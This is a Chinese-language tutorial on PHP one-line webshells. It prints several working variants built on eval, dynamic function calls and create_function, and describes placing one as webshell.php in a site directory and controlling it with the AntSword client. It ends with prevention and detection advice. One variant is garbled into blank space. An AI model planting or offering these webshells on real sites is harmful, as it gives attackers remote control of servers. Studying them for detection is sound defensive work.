PHP 一句话木马(Webshell)解析

一句话木马是指隐藏在正常PHP代码中的小型恶意脚本,它通常体积很小(”一句话”大小),但能提供强大的远程控制功能。

基本形式

最常见的PHP一句话木马格式:

1
<?php @eval($_POST['pass']); ?>

或者:

1
<?php $_GET['a']($_POST['b']); ?>

核心特征

  1. 精简结构:通常只有一行代码
  2. 动态执行:使用eval()assert()或回调函数动态执行输入
  3. 隐蔽性:使用@抑制错误,避免被发现

工作原理

  1. 黑客将恶意代码插入网站文件中
  2. 通过HTTP请求传递要执行的代码
  3. 服务端接收并执行任意PHP命令

常见变种

1. 基础eval型

1
<?php eval($_GET['c']); ?>

2. 文件写入型

1
<?php                                                     ?>'); ?>

3. 回调函数型

1
<?php $func=create_function('',$_POST['cmd']);$func(); ?>

4. 动态函数调用型

1
<?php $_GET['a']($_POST['b']); ?>

5. 将以上代码写入webshell.php文件中然后放在站点目录下通过浏览器访问,以POST方式传入shell=phpinfo();

一句话木马-请求.png

连接

1. 中国蚁剑

安装文档

2. 中国蚁剑配置连接

一句话木马-连接.png

3. 后就可以看到目标站点目录下的文件了

一句话木马-结果.png

防范措施

  1. 输入过滤:对所有用户输入进行严格过滤
  2. 禁用危险函数:在php.ini中禁用evalassert等函数
  3. 文件监控:定期检查网站文件修改情况
  4. 最小权限:Web服务器使用最小必要权限运行
  5. 代码审计:定期进行代码安全审计

检测方法

  1. 查找包含eval(assert(等关键词的代码
  2. 检查是否有可疑参数直接传入执行函数
  3. 使用专业Webshell扫描工具

一句话木马因其隐蔽性和强大功能成为常见攻击手段,网站管理员应特别警惕此类安全威胁。